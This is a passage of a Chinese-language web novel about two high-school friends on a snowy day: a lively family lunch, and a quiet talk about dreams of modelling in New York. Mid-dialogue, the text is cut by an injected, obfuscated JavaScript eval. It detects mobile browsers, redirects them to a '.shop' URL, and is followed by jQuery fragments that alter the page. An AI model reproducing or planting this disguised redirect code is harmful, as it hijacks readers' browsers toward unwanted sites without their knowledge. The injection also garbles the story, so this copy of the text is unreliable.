“真安静啊，”奥黛丽轻声说，呼出的白气在她面前袅袅上升，然后消散在飞舞的雪花中，“好像整个世界都睡着了，就剩下我们俩还醒着。”
“嗯，”莉娅轻轻地应了一声，“从前下雪后，我妈妈总会升起炉子做肉桂苹果卷。面粉、黄油、肉桂糖的香味，和烤苹果的甜香混在一起，能把整个屋子都烘得暖洋洋的，连窗户上都会结起一层甜甜的水汽。”
“那我们家可就是另一个极端了，”奥黛丽立刻接话，“我老爸说了雪天和烤鹿肉是上帝安排的绝配，还有我老妈用烤盘底下加上洋葱、蘑菇和黑胡椒熬出来的肉汁，老天，香得能让人把舌头一起吞下去。我能用烤得外脆内软的面包，把盛肉汁的盘子擦得锃光瓦亮，比洗过还干净。”
她顿了顿，声音忽然带上了一点平日里不常有的感慨，“莉娅想想看，我们从三年级成为朋友……时间过得真快像被狗追着跑似的，我还记得你第一次来我家玩，被我爸养的当时还在壮年的老土豆堵在车里不敢下来，脸都吓白了。”
莉娅回忆起那个有点窘迫的下午，忍不住笑了：“那是因为它当时冲我龇着牙，喉咙里还发出低吼。”
“它那是在笑，表示欢迎。”
奥黛丽立刻为自己的爱犬，语气理直气壮，“只是我们霍金斯家养的狗，长相都比较……嗯，比较严肃，有性格。”
两人都笑了起来，笑声在寂静的雪地里传得很远。
笑过之后奥黛丽翻了个身，用手肘支着脑袋，侧躺着看向莉娅。红色的卷发沾着雪花，贴在汗湿的额头上，她的表情变得稍微认真了些。
“嘿说真的，莉娅你说明年这时候，我们会在哪儿？高中眼看着就要毕业了。感觉昨天我们还在为六年级的数学考试发愁，今天就要考虑以后要做什么了。”
未来，像眼前这片被新雪覆盖的广阔林地，充满了无限可能。
莉娅没有说话，只是静静地望着天空飘落的雪花。
就在这时，“咚咚咚”的敲击声打破了这片寂静。
她们循声望去，厨房那扇结着冰花的窗户后面出现了霍金斯太太那张总是洋溢着热情笑意的脸庞。
她用力地朝她们挥着手，隔着玻璃，口型清晰无比地传达着信息：“吃饭了……”
当她们站起来时，雪地里留下了两个清晰的、翅膀张开的天使形状，并排在一起。
午餐时光如同霍金斯家一贯的风格，像一场充满欢乐气息的夏季风暴，与窗外静谧的雪世界形成了鲜明对比。
用厚实松木打制的餐桌几乎被占得满满当当，桌面因为年深日久的擦拭和无数次餐盘的碰撞，呈现出一种温润的光泽。
奥黛丽的父亲，弗兰克·霍金斯，稳坐在餐桌的主位。
他身材魁梧，肩膀宽阔，常年的户外活动让他的脸庞刻满了风霜的痕迹。他正专注地使用着锋利的猎刀，慢条斯理地切割着一大块外皮烤得焦黄酥脆的鹿后腿。
他的几个年长的儿子，完美继承了父亲的体魄，正在餐桌的另一端声音洪亮地争论着昨天狩猎的细节。
“我敢打赌，那头公鹿的蹄印绝对超过五英寸。”
“得了吧杰克，你看错了，那是在软泥里的印记，放大了。”
“嘿，我当时看得清清楚楚……”
他们的声音像低音炮一样在房间里共振。
奥黛丽的大姐姐，她在镇上理发店工作，正一边给旁边的小妹妹分土豆，一边抱怨着某个对发型挑剔到令人发指的老太太。二姐姐则在附近的社区大学读书，说着课堂上那位说话总是带着奇怪口音的哲学老师闹出的笑话。
几个年纪小的弟妹，正是猫狗都嫌的年纪，根本在椅子上坐不住，在桌子底下钻来钻去为了最后一块淋着枫糖浆的烤玉米面包差点“大打出手”，尖叫和笑闹声此起彼伏。
霍金斯太太系着一条印着红色小碎花的围裙，脸颊因为厨房的热气而红扑扑的。她一手端着的巨大烤盘里烤得边缘焦香的土豆和胡萝卜，另一只拿着陶瓷碗，里面是浓稠滚烫肉汁。那是用烤盘底部的精华、炒香的洋葱末熬制而成的，是这顿盛宴的灵魂所在。
“奥黛丽别光顾着自己吃，给你朋友多切点肉，瞧莉娅瘦的，风一吹就跑了。”
“杰克你是哥哥，管管你弟弟，别让他用手直接抓土豆，给他叉子。”
“米兰乖乖坐好吃饭，不然下午的苹果派没你的份。”
“谁看到辣椒粉了？我记得就放在这儿的……”
她的声音覆盖过所有的嘈杂，维持着餐桌的基本秩序。
奥黛丽在这种环境中如鱼得水，她一边大声反驳着哥哥对她堆雪人技术“毫无长进”的调侃，一边眼疾手快地从弟弟手里抢回被黄油块，还能抽空用叉子叉起一大块最好的鹿里脊肉，不由分说地放到莉娅的盘子里，并用眼神示意她“快吃”。
“瞧见没？”奥黛丽趁着某个短暂的空隙，凑到莉娅耳边得意地小声说，嘴里还塞着食物，“这就是霍金斯家的日常，吵是吵了点，有时候简直像动物园喂食时间，但保证你永远不会感到孤独，也绝对不会吃不饱。”
莉娅点点头。
饭后，杯盘狼藉的餐桌留给霍金斯太太和稍大些的姐姐们收拾，奥黛丽迫不及待地拉着莉娅逃离了依旧喧闹的餐厅，溜进了属于她和两个妹妹的房间。
那是被多个孩子共享的房间，空间不算宽敞，墙壁上贴着泛旧的小朵蔷薇图案壁纸，有些地方因为受潮起了泡。角落里堆着各种各样的杂物，像是一捆捆捆扎好的旧杂志，几个装着不明物品的藤条箱，墙角倚着一副旧的滑雪板。
房间里摆着两张上下床，住着奥黛丽和她的两个八岁的双胞胎妹妹。属于奥黛丽的地盘，是靠近窗户的那张床的上铺。
她像只灵活的猴子三下两下就爬了上去，然后“哗啦”一声拉上了床帘。帘子一拉上，这个不足五平方米的上铺空间立刻成了一个与楼下喧闹隔绝开了。
莉娅也脱了鞋，跟着爬了上去。
奥黛丽的床充满了她个人印记，床帘内侧用图钉固定着几张已经有些褪色的摇滚乐队海报，那些主唱们顶着蓬松爆炸头，穿着紧身皮裤，抱着电吉他，表情要么声嘶力竭，要么睥睨众生。床头钉着一个用木板和绳子简易搭成的架子。
奥黛丽呈“大”字形瘫倒在铺着厚实羊毛毯的床上，长长地舒了口气。她随手抓起一本边角已经卷起的时尚杂志，漫无目的地翻看着。
她的两个双胞胎妹妹，莉莉和露丝正盘腿坐在下铺的地毯上，给她们的洋娃娃换装，其中一个娃娃的手臂不知何时开裂了，一小撮白色的填充物像棉花糖一样露了出来。
“看这个，”奥黛丽忽然用手指“笃笃”地敲着杂志内页的一张跨页照片。那是一个身材高挑瘦削的模特，她穿着一条看起来价格不菲的银色晚礼服。
“看到旁边的文字没？说她就是在格林威治村的街角买热狗的时候，被一个星探一眼看中的。就一张抓拍的生活照，就成了当家模特之一。”她的语气里充满了不加掩饰的向往，“那可是纽约，是第五大道，是闪闪发光的T台。”
“得了吧，奥黛丽，”双胞胎中的莉莉头也不抬地吐槽，手里还在笨拙地给娃娃穿一件小毛衣，“你上次在自己房间里练习走猫步，差点被地毯边缘绊个狗吃屎，还是土豆把你舔醒的。”
“那是因为那块地毯坏了。”奥黛丽立刻反驳，随即猛地从床上一跃而下，她落在上下铺之间堆着几本书和一件外套的过道里，清了清嗓子，下巴微抬。
“怎么样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790943|190583||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？仔细看看，我也不差吧？”她说着，真的在宽度不足一米的过道里歪歪扭扭地走起了猫步。
她努力模仿着杂志上模特的样子，臀部夸张地左右扭动，手臂像两根僵硬的钟摆，脸上努力维持着一种“全世界都欠我钱”的疏离表情。甚至还停下来背对着想象中的观众，猛地回头，抛出一个滑稽可爱的眼神。
两个双胞胎妹妹先是一愣，随即爆发出几乎要喘不上气来的笑声。
“像……像一只在冰面上学跳舞的胖企鹅。”露丝笑得捶打着地毯。
“我走得比你好，看我的。”莉莉不甘示弱也跳起来，学着奥黛丽的样子走了几步，姿势更加怪异，像个小机器人。
“我走的才是最好的。”露丝也加入进来。
顿时三个女孩在小小的房间里歪歪扭扭地走着，碰撞着，笑闹着。
莉娅坐在上铺的床边，双腿垂下来，看着这一幕忍不住也笑得肩膀直抖。她没有加入，而是轻轻拿起那个被双胞胎遗忘在角落的洋娃娃。
娃娃的衣服有些旧了，裙边甚至起了毛球，但洗得很干净。莉娅记得，这是她母亲很多年前用做衣服剩下的碎布头亲手缝制送给奥黛丽作为生日礼物的，娃娃里面填充的不是普通的棉花，而是晒干的薰衣草花籽，即使过去了这么多年凑近了仔细闻，还能隐约捕捉到那一丝若有若无的草本香气。
她从小到大的玩具，很多都出自母亲那双灵巧的手。
莉娅翻出从奥黛丽的针线盒，熟练地挑选出颜色相近的线，穿针引线，然后开始为娃娃缝合手臂上的裂口。
“滚滚滚，你们两个小屁孩毛都没长齐就想当模特？等你们长开了，身高超过五英尺再说吧。”奥黛丽带着被妹妹们嘲笑后的“恼羞成怒”，把两个还在嘻嘻哈哈的双胞胎赶开，然后一把拉起刚为娃娃缝好最后一针的莉娅，重新爬回了上铺，再次“哗啦”一声拉上了床帘。
喧嚣与笑闹被厚实的帘子隔绝在外，小小的空间里瞬间恢复了宁静。奥黛丽长长地呼出了一口气，呈“大”字形仰面瘫倒在床上，盯着床帘顶棚上那些斑驳的光影发呆。
“喂，莉娅，”她轻声说，刚才的闹腾劲儿和夸张的语气全都消失了，“你说……我真的有可能吗？离开小镇，去纽约，或者芝加哥，站在真正的T台上？”
她的手指抠着身下的羊毛毯，“而不是……而不是留在这里，像我老爸期望的那样找个同样喜欢打猎的愣小子结婚，生一堆孩子，然后在厨房和林子之间度过一辈子？”
她的声音越来越低，最后几乎变成了呢喃，“有时候我觉得自己无所不能，有时候……又觉得做什么都不行。”
莉娅侧过头，看着好友的侧脸。
她没有立刻用空洞的安慰来回答，只是默默地伸出手，轻轻握住了奥黛丽的手。
那手上带着属于山林和劳动的、坚实的力量感。
奥黛丽的手先是僵硬了一下，随即反手紧紧握住了莉娅的手，用力得几乎让莉娅感到疼痛。过了几秒钟，她手上的力道才缓缓松开，但依旧没有放开。
窗外雪依旧在下，无声无息，孜孜不倦，覆盖着幽深的林地、沉睡的小镇，覆盖着“福斯特先生”滑稽的帽子。
奥黛丽轻轻晃了晃两人交握的手，然后彻底松开，她翻了个身面向莉娅，脸上又重新挂上了那种大大咧咧的笑容。
“算了，不想了。反正离毕业还有段时间，现在睡觉，或者……我们再想想怎么捉弄楼下那两个小讨厌鬼？”
她狡黠地眨了眨眼。
莉娅也笑了，轻轻“嗯”了一声。
两人不再说话，就这样静静地躺在温暖的床铺上，听着窗外雪落的寂静，听着彼此平稳的心跳，享受着这份在喧嚣家庭中难得的宁静与亲密。